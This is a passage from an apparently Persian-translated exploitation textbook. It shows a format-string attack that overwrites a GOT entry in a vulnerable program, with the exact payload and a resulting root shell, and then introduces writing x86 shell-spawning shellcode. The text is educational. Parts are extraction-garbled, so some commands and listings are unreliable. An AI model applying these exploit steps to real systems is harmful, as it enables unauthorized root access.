ﺑﺮﻧﺎﻣﻪ را ﺑﻪ آدرس 0x080482a6ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ ،ﭼﺮا ﮐﻪ در آدرس 0x08049660واﻗﻊ در ﺟﺪول آﻓﺴﺖ ﻋﻤـﻮﻣﯽ،
ﻣﻘﺪار 0x080482a6ﮔﺮﻓﺘﻪ اﺳـﺖ .دﺳـﺘﻮرات ﭘـﺮش ﺑﻌـﺪی ) jmp *0x08049668 ،jmp *0x08049664و jmp
(*0x0804966cﺑﻪ ﺗﺮﺗﯿﺐ ﺑﻪ آدرس ﻫﺎی 0x080482c6 ،0x080482b6و 0x080482d6ﭘﺮش ﻣﯽ ﮐﻨﻨـﺪ .ﭼـﻮن
اﻣﮑﺎن ﻧﻮﺷﺘﻦ در ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ وﺟﻮد دارد ،ﻟﺬا اﮔﺮ ﯾﮑﯽ از اﯾﻦ آدرﺳﻬﺎ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد ،آﻧﮕﺎه ﻣﯽ ﺗـﻮان روﻧـﺪ
اﺟﺮای ﺑﺮﻧﺎﻣﻪ را از ﻃﺮﯾﻖ ﺟﺪول ﭘﯿﻮﻧﺪ ﻋﻤﻮﻣﯽ )ﻋﻠﯿﺮﻏﻢ ﻋﺪم اﻣﮑﺎن ﻧﻮﺷﺘﻦ در آن( ﮐﻨﺘﺮل ﮐﺮد.
ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﻻزم اﺳﺖ ﮐﻪ ﺑﺎ ﻧﻤﺎﯾﺶ ﺟﺎﺑﺠﺎﯾﯽ ﭘﻮﯾﺎی اﻗﻼم ﺑﺮای ﺑﺎﯾﻨﺮی در objdumpاﻃﻼﻋﺎت ﻻزم از ﻗﺒﯿﻞ ﻧﺎم ﺗﻮاﺑـﻊ
را ﻣﯽ ﺗﻮان ﺑﺪﺳﺖ آورد.
$ objdump -R ./fmt_vuln
$
ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ آدرس ﺗﺎﺑﻊ exitدر ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ در آدرس 0x08049668واﻗﻊ ﺷـﺪه اﺳـﺖ.
اﮔﺮ آدرس ﺷﻞ-ﮐﺪ را در اﯾﻦ ﻣﮑﺎن ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﯿﻢ ،آﻧﮕﺎه ﺑﺮﻧﺎﻣﻪ ﭘﺲ از ﺧﺮوج ﺑﺎﯾﺴﺘﯽ ﺷﻞ-ﮐﺪ را ﻓﺮاﺧﻮاﻧﯽ ﮐﻨﺪ )در
ﺣﺎﻟﯿﮑﻪ ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﻫﻤﺎن ﺗﺎﺑﻊ exitاﺳﺖ(.
70
ﻃﺒﻖ ﻣﻌﻤﻮل ﺷﻞ-ﮐﺪ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ﻗﺮار داده ،ﻣﮑﺎن واﻗﻌﯽ آﻧﺮا ﭘﯿﺶ ﺑﯿﻨﯽ ﮐﻨﯿﻢ و از آﺳﯿﺐ ﭘـﺬﯾﺮی رﺷـﺘﻪ-
ﻓﺮﻣﺖ ﺑﺮای ﻧﻮﺷﺘﻦ ﻣﻘﺪار )ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس( اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ .در ﺣﻘﯿﻘﺖ از ﻗﺒﻞ ﺷﻞ-ﮐﺪ ﻣﯽ ﺑﺎﯾﺴﺖ در ﻣﺤﯿﻂ ﻗـﺮار
داده ﺷﺪه ﺑﺎﺷﺪ .در اﯾﻦ ﺻﻮرت ﺗﻨﻬﺎ ﻧﯿﺎز ﺑﻪ ﺗﻄﺒﯿﻖ 16ﺑﺎﯾﺖ اﺑﺘﺪای رﺷﺘﻪ-ﻓﺮﻣـﺖ اﺳـﺖ .ﺑـﺮای آﺷـﮑﺎر ﺷـﺪن ﻫـﺮ ﭼـﻪ
ﺑﯿﺸﺘﺮ ﻣﻮﺿﻮع در اﯾﻦ ﻣﺜﺎل ،از ﻣﺤﺎﺳﺒﺎت در ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ %xاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ.
'$ export SHELLCODE='cat shellcode
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd90
$ pcalc 0x90 + 4
148 0x94 0y10010100
$ pcalc 0x94 - 16
132 0x84 0y10000100
$ pcalc 0xfd - 0x94
105 0x69 0y1101001
$ pcalc 0x1ff - 0xfd
258 0x102 0y100000010
$ pcalc 0x1bf - 0xff
192 0xc0 0y11000000
$ ./fmt_vuln 'printf
"\x68\x96\x04\x08\x69\x96\x04\x08\x6a\x96\x04\x08\x6b\x96\x04\x08"'%3\$132x
\%4\$n%3
$105x%5\$n%3\$258x%6\$n%3\$192x%7\$n
The right way:
%3$132x%4$n%3$105x%5$n%3$258x%6$n%3$192x%7$n
The wrong way:
3e8
3e8
3e8
3e8
[*] test_val @ 0x08049570 = -72 0xffffffb8
sh-2.05a# whoami
root
sh-2.05a#
وﻗﺘﯽ ﺑﺮﻧﺎﻣﻪ fmt_vulnﺳﻌﯽ ﺑﺮ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ exitﻣﯽ ﮐﻨﺪ ،ﺑﻪ آدرس ﺗﺎﺑﻊ exitدر ﺟﺪول آﻓـﺴﺖ ﻋﻤـﻮﻣﯽ ﻣﺮاﺟﻌـﻪ
ﺷﺪه و از ﻃﺮﯾﻖ ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ ﺑﻪ آن آدرس ﭘﺮش ﻣﯽ ﺷﻮد .ﭼﻮن از ﻃﺮﯾﻖ ﺟﺎﯾﻨﻮﯾﺴﯽ ،آدرس ﺣﻘﯿﻘﯽ را ﺑـﺎ آدرس
ﺷﻞ-ﮐﺪ در ﻣﺤﯿﻂ ﺗﻌﻮﯾﺾ ﮐﺮدﯾﻢ ،ﻟﺬا ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ اﯾﺠﺎد ﺧﻮاﻫﺪ ﺷﺪ.
ﻣﺰﯾﺖ دﯾﮕﺮِ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓﺴﺖ ﻋﻤﻮﻣﯽ ،ﺛﺎﺑﺖ ﺑﻮدن اﻗﻼم آن در ﺑﺎﯾﻨﺮی اﺳﺖ ،ﻟﺬا ﯾـﮏ ﺳﯿـﺴﺘﻢ دﯾﮕـﺮ ﺑـﺎ ﻫﻤـﺎن
ﺑﺎﯾﻨﺮی ،ﻫﻤﺎن ﻓﻘﺮه GOTرا در آدرس ﯾﮑﺴﺎن ﺧﻮاﻫﺪ داﺷﺖ.
ﻗﺎﺑﻠﯿﺖ ﺟﺎﯾﻨﻮﯾﺴﯽ آدرس ﻫﺎی دﻟﺨﻮاه اﺣﺘﻤﺎﻻت ﺑﯽ ﺷﻤﺎری را ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﭘﯿﺶ ﭘﺎی ﻣﺎ ﻗـﺮار ﻣـﯽ دﻫـﺪ .ﺑـﻪ
ﻃﻮر ﮐﻠﯽ ﻫﺮ ﺑﺨﺶ از ﺣﺎﻓﻈﻪ را ﮐﻪ ﻗﺎﺑﻞ ﻧﻮﺷﺘﻦ ﺑﻮده و ﺣﺎوی آدرﺳﯽ ﺑﺎﺷﺪ ﮐﻪ روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻫﺪاﯾﺖ ﮐﻨـﺪ ،ﻣـﯽ
ﺗﻮان ﻫﺪف ﻗﺮار داد.
.2,10ﺷﻞ-ﮐﺪ ﻧﻮﯾﺴﯽ
ﺷﻞ-ﮐﺪ ﻧﻮﯾﺴﯽ ﻣﻬﺎرﺗﯽ اﺳﺖ ﮐﻪ اﮐﺜﺮ ﻣﺮدم ﻓﺎﻗﺪ آن ﻫﺴﺘﻨﺪ .ﺳﺎده ﺑﻮدن ﺳﺎﺧﺘﺎر ﺷﻞ-ﮐﺪ ﺧﻮدش ﻣﺴﺌﻠﻪ ای اﺳـﺖ ﮐـﻪ
ﺣﻘﻪ ﻫﺎی ﻓﺮاواﻧﯽ را ﺑﺎﯾﺪ در راﺳﺘﺎی آن ﭘﯿﺎده ﮐﺮد .ﺷﻞ-ﮐﺪ ﺑﺎﯾﺪ ﺧﻮد-ﻣﺤﺘﻮا ) (self-containedﺑﻮده و از ﺑﺎﯾﺖ ﻫـﺎی
ﭘﻮچ دوری ﮐﻨﺪ )ﭼﺮا ﮐﻪ ﺳﺒﺐ ﺑﺴﺘﻦ ﯾﺎ ﭘﺎﯾﺎن دادن رﺷﺘﻪ ﻣﯽ ﺷﻮد( .اﮔﺮ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ در ﺷﻞ-ﮐﺪ وﺟﻮد داﺷـﺘﻪ ﺑﺎﺷـﺪ،
ﺗﺎﺑﻌﯽ ﻣﺜﻞ )( strcpyآﻧﺮا ﺑﻪ ﻋﻨﻮان اﻧﺘﻬﺎی رﺷﺘﻪ در ﻧﻈﺮ ﻣﯽ ﮔﯿﺮد .ﺑﺮای ﻧﻮﺷﺘﻦ ﯾﮏ ﻗﻄﻌﻪ ﺷﻞ-ﮐﺪ ،درک ﮐﺎﻓﯽ از زﺑﺎن
71
اﺳﻤﺒﻠﯽ ﻣﺮﺑﻮط ﺑﻪ ﭘﺮدازﻧﺪه ﻫﺪف )ﻣﻌﻤﺎری آن( ﻧﯿﺎز اﺳﺖ .ﻟﺬا در اﯾﻦ ﻣﻮرد ﻣﻌﻤﺎری x86از زﺑﺎن اﺳﻤﺒﻠﯽ را دﻧﺒﺎل ﻣـﯽ
ﮐﻨﯿﻢ و اﮔﺮﭼﻪ اﯾﻦ ﮐﺘﺎب اﺳﻤﺒﻠﯽ x86را ﺑﻪ ﺻﻮرت ﻋﻤﯿﻖ ﺗﻮﺿﯿﺢ ﻧﻤﯽ دﻫﺪ ،اﻣﺎ ﻧﮑﺎت ﻣﻬﻢ و ﺑﺮﺟﺴﺘﻪ در ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ-
ﮐﺪ ﻫﺎ را ﮔﻮﺷﺰد ﻣﯽ ﮐﻨﺪ.
دو ﻧﻮع ﺳﺎﺧﺘﺎر ) (syntaxاﺻﻠﯽ ﺑﺮای ﻣﻌﻤﺎری x86وﺟﻮد دارد :ﺳﺎﺧﺘﺎر AT&Tو ﺳﺎﺧﺘﺎر اﯾﻨﺘﻞ) .(Intelﻣـﯽ ﺗـﻮان از
دو اﺳﻤﺒﻠﺮ ﻋﻤﺪه در ﻟﯿﻨﻮﮐﺲ ﯾﻌﻨﯽ ) gasﺑﺮای ﺳـﺎﺧﺘﺎر (AT&Tو ) nasmﺑـﺮای ﺳـﺎﺧﺘﺎر اﯾﻨﺘـﻞ( ﯾـﺎد ﮐـﺮد .ﺳـﺎﺧﺘﺎر
AT&Tﻣﻌﻤﻮﻻ در ﺧﺮوﺟﯽ ﺗﻮاﺑﻊ و ﺑﺮﻧﺎﻣﻪ ﻫﺎی دﯾﺰاﺳﺒﻤﻞ ﻣﺜـﻞ objdumpو gdbﯾﺎﻓـﺖ ﻣـﯽ ﺷـﻮد .ﺑـﻪ ﻋﻨـﻮان ﻣﺜـﺎل
ﺧﺮوﺟﯽ دﯾﺰاﺳﻤﺒﻞ ﺷﺪن ﺟﺪول ﭘﯿﻮﻧﺪ روﯾﻪ در ﺑﺨﺶ "ﺟﺎﯾﻨﻮﯾﺴﯽ ﺟﺪول آﻓـﺴﺖ ﻋﻤـﻮﻣﯽ" در ﻗﺎﻟـﺐ ﺳـﺎﺧﺘﺎر AT&T
ﺑﻮد .اﻣﺎ ﺧﻮاﻧﺪن ﺳﺎﺧﺘﺎر اﯾﻨﺘﻞ راﺣﺖ ﺗﺮ اﺳﺖ ،ﻟﺬا ﺑﺮای ﻧﻮﺷﺘﻦ ﺷﻞ-ﮐﺪ از ﺳـﺎﺧﺘﺎر اﯾﻨﺘـﻞ و ﻗﺎﻟـﺐ nasmاﺳـﺘﻔﺎده ﻣـﯽ
ﮐﻨﯿﻢ.
ﺛﺒﺎت ﻫﺎی ﭘﺮدازﻧﺪه از ﻗﺒﯿﻞ ESP ،EIPو EBPرا ﮐﻪ ﻗﺒﻼ ﺑﺤﺚ ﮐﺮدﯾﻢ ﺑﻪ ﯾﺎد آورﯾﺪ .اﯾﻦ ﺛﺒﺎت ﻫﺎ را ﻣﯽ ﺗﻮان از ﻣﯿـﺎن
ﺛﺒﺎت ﻫﺎی دﯾﮕﺮ ﺑﻪ ﻋﻨﻮان ﻣﺘﻐﯿﺮﻫﺎ ﺑﺮای زﺑﺎن اﺳﻤﺒﻠﯽ ﻣﺤﺴﻮب ﮐﺮد .اﻣﺎ ﭼﻮن EIPو ESPو EBPدر راﺑﻄﻪ ﺑﺎ اﺟـﺮای
ﺑﺮﻧﺎﻣﻪ و ﻣﺪﯾﺮﯾﺖ روﻧﺪ اﺟﺮا ﻣﻬﻢ ﻫﺴﺘﻨﺪ ،ﻟﺬا اﺳﺘﻔﺎده از آﻧﻬﺎ ﺑﻪ ﻋﻨﻮان ﻣﺘﻐﯿﺮﻫﺎی ﻫﻤﻪ-ﻣﻨﻈـﻮره )(general-purpose
ﮐﺎر ﻋﺎﻗﻼﻧﻪ ای ﻧﯿﺴﺖ .ﺛﺒﺎت ﻫﺎی ESI ،EDX ،ECX ،EBX ،EAXو EDIﺑﺮای اﯾﻦ ﻣﻘﺼﻮد ﻣﻨﺎﺳﺐ ﺗﺮ ﻫﺴﺘﻨﺪ .اﯾـﻦ
ﺛﺒﺎت ﻫﺎ ﺗﻤﺎﻣﺎ 32ﺑﯿﺘﯽ ﻫﺴﺘﻨﺪ ،ﭼﺮا ﮐﻪ ﭘﺮدازﻧﺪه ﻣﺎ 32ﺑﯿﺘﯽ اﺳﺖ .اﻣﺎ ﺑﺎ اﺳﺎﻣﯽ دﯾﮕﺮ ﻣﯽ ﺗﻮان ﺑـﻪ ﻗﻄﻌـﺎت ﮐـﻮﭼﮑﺘﺮ از
اﯾﻦ ﺛﺒﺎت ﻫﺎ ﻧﯿﺰ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ .ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل ﻣﻌﺎدل 16ﺑﯿﺘﯽ ﺛﺒﺎت ﻫـﺎی ECX ،EBX ،EAXو EDXﺑـﻪ ﺗﺮﺗﯿـﺐ
CX ،BX ،AXو DXو ﻣﻌﺎدل 8ﺑﯿﺘﯽ آﻧﻬﺎ ﺑﻪ ﺗﺮﺗﯿﺐ DL ،CL ،BL ،ALﻫﺴﺘﻨﺪ )اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان ﺑـﻪ ﻓـﻀﺎی ﺑـﺎﻻﯾﯽ را
ﻧﯿﺰ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ ﮐﻪ ﺑﻌﺪا ﺑﺤﺚ ﻣﯽ ﺷﻮد( .ﻟﺬا ﺑﺮای اﯾﺠﺎد دﺳﺘﻮرات ﮐﻮﭼﮑﺘﺮ )ﮐﻢ ﺣﺠﻢ ﺗﺮ( ،ﺛﺒﺎت ﻫﺎی ﮐﻮﭼﮑﺘﺮ را ﺑﻪ
ﮐﺎر ﺑﺮﯾﺪ .اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻪ ﺧﺼﻮص در ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ-ﮐﺪﻫﺎی ﮐﻮﭼﮏ و ﮐﻢ ﺣﺠﻢ ﻣﻬﻢ و ﻣﻔﯿﺪ اﺳﺖ.
ﻋﻼوه ﺑﺮ دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﺧﺎﻣﯽ ﮐﻪ در ﭘﺮدازﻧﺪه وﺟﻮد دارﻧﺪ ،ﻟﯿﻨﻮﮐﺲ ﯾﮏ ﻣﺠﻤﻮﻋﻪ از ﺗﻮاﺑﻊ را اراﺋﻪ ﻣﯽ دﻫﺪ ﮐﻪ ﻣـﯽ
ﺗﻮان آﻧﻬﺎ را ﺑﻪ راﺣﺘﯽ در اﺳﻤﺒﻠﯽ اﺟﺮا ﮐﺮد .ﯾﮏ ﭼﻨﯿﻦ ﺗﺎﺑﻌﯽ ﺗﺤﺖ ﻋﻨﻮان ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ ) (system callﺷـﻨﺎﺧﺘﻪ
ﺷﺪه و ﺑﺎ اﺳﺘﻔﺎده از وﻗﻔﻪ ﻫﺎ ) (interruptﺷﺮوع ﺑﻪ ﮐﺎر ﻣﯽ ﮐﻨﺪ .ﯾﮏ ﻟﯿﺴﺖ ﺷﻤﺎرش ﺷﺪه از ﻓﺮاﺧﻮاﻧﯽ ﻫـﺎی ﺳﯿـﺴﺘﻤﯽ
را در ﻓﺎﯾﻞ /usr/include/asm/unistd.hﺧﻮاﻫﯿﺪ ﯾﺎﻓﺖ.
$ head -n 80 /usr/include/asm/unistd.h
_#ifndef _ASM_I386_UNISTD_H
_#define _ASM_I386_UNISTD_H
*/
* This file contains the system call numbers.
*/
" ﻧﻘﻄﻪ ﺷﺮوع ﻣﻨﺎﺳﺐ و ﻣﺘﺪاوﻟﯽ را ﺟﻬـﺖ آﺷـﻨﺎﯾﯽ ﺑـﺎ ﻓﺮاﺧـﻮاﻧﯽ ﻫـﺎی ﺳﯿـﺴﺘﻤﯽ وHello, World!" ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎده
.زﺑﺎن اﺳﻤﺒﻠﯽ ﻓﺮاﻫﻢ ﻣﯽ آورد
74
ﺑﺮﻧﺎﻣﻪ ! Hello Worldﺑﺎﯾﺪ ﻋﺒﺎرت "! "Hello, worldرا ﺑﺮ روی ﺻﻔﺤﻪ ﻧﻤﺎﯾﺶ ﭼﺎپ ﮐﻨﯿﻢ ،ﻟﺬا ﺗﺎﺑﻊ ﻣﻨﺎﺳﺐ در ﻓﺎﯾـﻞ
unistd.hﺑﺮای اﻧﺠﺎم اﯾﻦ ﻋﻤﻞ ،ﺗﺎﺑﻊ )( writeاﺳﺖ .ﺳﭙﺲ ﺑﺮای ﺧﺮوج از ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ از ﺗﺎﺑﻊ )( exitاﺳﺘﻔﺎده ﮐﻨـﯿﻢ .ﺑـﻪ
اﯾﻦ ﺻﻮرت ﺑﺮﻧﺎﻣﻪ ! Hello, Worldﺑﺎﯾﺪ دو ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ را ﺑﺮﻗﺮار ﺳﺎزد ،ﯾﮑﯽ ﺑﻪ )( writeو دﯾﮕﺮی ﺑﻪ )(.exit
اﺑﺘﺪا ﺑﺎﯾﺪ آرﮔﻮﻣﺎن ﻫﺎی ﻣﻮرد ﻧﯿﺎز ﺑﺮای ﺗﺎﺑﻊ )( writeرا ﺗﻌﯿﯿﻦ ﮐﺮد.
$ man 2 write
)WRITE(2 Linux Programmer's Manual )WRITE(2
NAME
write - write to a file descriptor
SYNOPSIS
>#include <unistd.h
DESCRIPTION
write writes up to count bytes to the file referenced by
the file descriptor fd from the buffer starting at buf.
POSIX requires that a read() which can be proved to occur
after a write() has returned returns the new data. Note
that not all file systems are POSIX conforming.
75
ﺑﺮای ﺧﺮوج ﺻﺤﯿﺢ از ﺑﺮﻧﺎﻣﻪ ﻧﯿﺎز ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )( exitدارﯾﻢ .اﯾﻦ ﺗﺎﺑﻊ ﯾﮏ آرﮔﻮﻣﺎن واﺣﺪ را ﺑﺮاﺑﺮ ﺑﺎ ) 0ﺻﻔﺮ( ﻣـﯽ
ﭘﺬﯾﺮد .ﭘﺲ ﭼﻮن ﺗﺎﺑﻊ )( ،exitﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ ﺷﻤﺎره ﯾﮏ اﺳﺖ ،ﻟﺬا ﺑﺎﯾﺪ ﻣﻘﺪار 1را در ﺛﺒـﺎت EAXﻗـﺮار دﻫـﯿﻢ و
ﭼﻮن ﺗﻨﻬﺎ آرﮔﻮﻣﺎن اﯾﻦ ﺗﺎﺑﻊ ﺑﺎﯾﺪ ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺑﺎﺷﺪ ،ﻟﺬا ﻣﻘﺪار 0را ﻧﯿﺰ در ﺛﺒﺎت EBXﻗﺮار ﺧﻮاﻫﯿﻢ داد .ﺳـﭙﺲ وﻗﻔـﻪ
ﻓﺮاﺧﻮاﻧﯽ ﺳﯿﺴﺘﻤﯽ را ﯾﮏ ﺑﺎر دﯾﮕﺮ ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﯿﻢ ﻧﻤﻮد .ﮐﺪ اﺳﻤﺒﻠﯽ ﻣﺮﺑﻮط ﺑﻪ ﺗﻤﺎم اَﻋﻤﺎل ﻓﻮق را در زﯾﺮ ﻣﯽ ﺑﯿﻨﯿﺪ:
hello.asm
section .data ; section declaration
_start:
mov eax, 4 ; put 4 into eax, since write is syscall #4
mov ebx, 1 ; put stdout into ebx, since the proper fd is 1
mov ecx, msg ; put the address of the string into ecx
mov edx, 13 ; put 13 into edx, since our string is 13 bytes
int 0x80 ; Call the kernel to make the system call happen
mov eax,1 ; put 1 into eax, since exit is syscall #1
mov ebx,0 ; put 0 into ebx
int 0x80 ; Call the kernel to make the system call happen
ﺑﺮای ﺗﻮﻟﯿﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﻨﺮی ﻗﺎﺑﻞ اﺟﺮا ﻣﯽ ﺗﻮان اﯾﻦ ﮐـﺪ را اﺳـﻤﺒﻞ ) (assembleﮐـﺮده و ﺳـﭙﺲ ﭘﯿﻮﻧـﺪ ) (linkداد.
ﺑﺮای ﻟﯿﻨﮏ ﺷﺪن ﺻﺤﯿﺢ ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت ﻗﺎﻟﺐ ﻗﺎﺑﻞ اﺟﺮا و ﻣﺘﺼﻞ ) ،36(ELFﺧﻂ global _startدر ﮐﺪ ﻓـﻮق
ﻧﯿﺎز ﺑﻮد .ﭘﺲ از اﺳﻤﺒﻞ ﺷﺪن ﻓﺎﯾﻞ ﺑﻪ ﺻﻮرت ﯾﮏ ﺑﺎﯾﻨﺮیِ ،ELFﺑﺎﯾﺪ آﻧﺮا ﻟﯿﻨﮏ ﮐﺮد:
$ nasm -f elf hello.asm
$ ld hello.o
$ ./a.out
!Hello, world
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﯽ ﺑﯿﻨﯿﺪ ﺑﺮﻧﺎﻣﻪ ﮐﺎر ﻣﯽ ﮐﻨﺪ .اﻣﺎ ﭼﻮن اﯾﻦ ﺑﺮﻧﺎﻣﻪ آﻧﻘﺪر ﺟﺬاب و ﻣﻬﻢ ﻧﯿﺴﺖ ﺗﺎ آﻧﺮا ﺑﻪ ﺑﺎﯾـﺖ-ﮐـﺪ ﺗﺒـﺪﯾﻞ
ﮐﻨﯿﻢ ،ﻟﺬا ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﻔﯿﺪﺗﺮ ﻣﯽ ﻧﻮﯾﺴﯿﻢ.
ﮐﺪ ﻣﻮﻟﺪ ﭘﻮﺳﺘﻪ ) (Shell-Spawningﮐﺪ ﺳﺎده ای اﺳﺖ ﮐﻪ ﯾﮏ ﭘﻮﺳﺘﻪ را اﺟﺮا ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﮐﺪ را ﻣﯽ ﺗـﻮان ﺑـﻪ ﺷـﻞ-
ﮐﺪ ﺗﺒﺪﯾﻞ ﮐﺮد .دو ﺗﺎﺑﻊ ﻣﻮرد ﻧﯿﺎز در اﯾﻦ راﺳﺘﺎ )( execveو )( setreuidﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻪ ﺗﺮﺗﯿﺐ ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺳﯿﺴﺘﻤﯽ
ﺷــﻤﺎره 11و 70ﻫــﺴﺘﻨﺪ .ﻓﺮاﺧــﻮاﻧﯽ )( execveدر ﺣﻘﯿﻘــﺖ ﺑــﺮای اﺟــﺮای /bin/shاﺳــﺘﻔﺎده ﻣــﯽ ﺷــﻮد .ﻓﺮاﺧــﻮاﻧﯽ
)( setreuidﻧﯿﺰ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ )در ﺻﻮرت ﺣﺬف و ﮔﺮﻓﺘﻪ ﺷﺪن ) (dropاﯾﻦ اﺧﺘﯿﺎرات( ﺑﻪ ﮐﺎر ﻣﯽ
رود .ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎی suid rootﺑﻪ دﻟﯿﻞ ﻣﻘﺎﺻﺪ اﻣﻨﯿﺘﯽ ﺑﺎﻻﻓﺎﺻﻠﻪ ﭘﺲ از اﻧﺠﺎم ﻋﻤـﻞ ﻣـﻮرد ﻧﯿـﺎز ﺧـﻮد در ﻣﺤـﯿﻂ
رﯾﺸﻪ ،ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ را ﺣﺬف ﻣﯽ ﮐﻨﻨﺪ .اﻣﺎ اﮔﺮ اﯾﻦ ﺳﻄﺢ اﺧﺘﯿﺎرات ﺑﻪ درﺳﺘﯽ در ﺷﻞ-ﮐﺪ ﺑﺎزﯾـﺎﺑﯽ ﻧـﺸﻮد ،ﺗﻨﻬـﺎ
ﭼﯿﺰی ﮐﻪ ﺗﻮﻟﯿﺪ ﻣﯽ ﺷﻮد ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮ ﻣﻌﻤﻮﻟﯽ اﺳﺖ.
36
Executable and Linking Format
76
)ﯾﻌﻨﯽ ﭘﻮﺳﺘﻪ( را اﺟﺮا ﺧﻮاﻫـﺪ37ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻌﺎﻣﻠﯽ- ﭼﺮا ﮐﻪ ﺷﻞ،ﮐﺪ ﻧﯿﺴﺖ- در ﺷﻞexit() ﻧﯿﺎزی ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ
ﮐـﺪ- در ﺷـﻞexit() ﺑﺎ اﯾﻦ ﺣـﺎل وﺟـﻮد ﺗـﺎﺑﻊ.(ﮐﺮد )ﻟﺬا ﺧﻮدﻣﺎن ﻣﯽ ﺗﻮاﻧﯿﻢ ﭘﺲ از اﺗﻤﺎم ﮐﺎرﻣﺎن از ﭘﻮﺳﺘﻪ ﺧﺎرج ﺷﻮﯾﻢ
ﻟـﺬا در اﯾـﻦ ﻣﺜـﺎل از،ﮐﺪ ﮐﻮﭼﮏ ﻧﮕﺎه داﺷﺘﻦ آن اﺳﺖ- اﻣﺎ ﭼﻮن ﻫﺪف ﻣﻬﻢ در ﻧﻮﺷﺘﻦ ﺷﻞ.ﻣﺸﮑﻠﯽ اﯾﺠﺎد ﻧﺨﻮاﻫﺪ ﮐﺮد
. ﺻﺮف ﻧﻈﺮ ﻣﯽ ﮐﻨﯿﻢexit() وﺟﻮد ﺗﺎﺑﻊ
shell.asm
section .data ; section declaration
_start:
; execve(const char *filename, char *const argv [], char *const envp[])
37
Interactive
.(" ﻧﯿﺰ اﻃﻼق ﻣﯽ ﺷﻮدoffset) واژه "آﻓﺴﺖ،" اﺻﻄﻼﺣﺎ ﺑﻪ ﻋﺒﺎرت "ﻓﺎﺻﻠﻪ داﺷﺘﻦ38
77
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/ b i n / s h X A A A A B B B B
دو دﺳﺘﻮر ﺑﻌﺪی ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻪ ﻋﻤﻞ ﻣﯽ ﻧﻤﺎﯾﻨﺪ ،ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐﻪ از ﺛﺒﺎت ﻫﺎ و آﻓﺴﺖ ﻫﺎی ﮐﺎﻣﻞِ 32ﺑﯿﺘﯽ اﺳﺘﻔﺎده ﻣﯽ
ﮐﻨﻨﺪ ﮐﻪ ﺳﺒﺐ اﻧﺘﻘﺎل ﺑﺎﯾﺖ ﻫﺎ ﻣﯽ ﺷﻮﻧﺪ .اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻪ ﺗﺮﺗﯿـﺐ ﺳـﺒﺐ ﺟﺎﯾﻨﻮﯾـﺴﯽ " "AAAAو " "BBBBﻣـﯽ ﮔـﺮدد.
ﭼﻮن ﺛﺒﺎت EBXﺣﺎوی آدرس رﺷﺘﻪ اﺳﺖ و ﺛﺒﺎت EAXدارای ﻣﻘﺪار 0ﻣﯽ ﺑﺎﺷﺪ ،ﻟﺬا ﻗﺴﻤﺖ " "AAAAدر رﺷﺘﻪ ﺑﺎ
آدرس اﺑﺘﺪای رﺷﺘﻪ ،و ﻗﺴﻤﺖ " "BBBBﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ )ﮐﻪ ﯾﮏ آدرس ﭘﻮچ اﺳﺖ( ﺟﺎﯾﻨﻮﯾﺴﯽ ﺧﻮاﻫﻨﺪ ﺷﺪ.
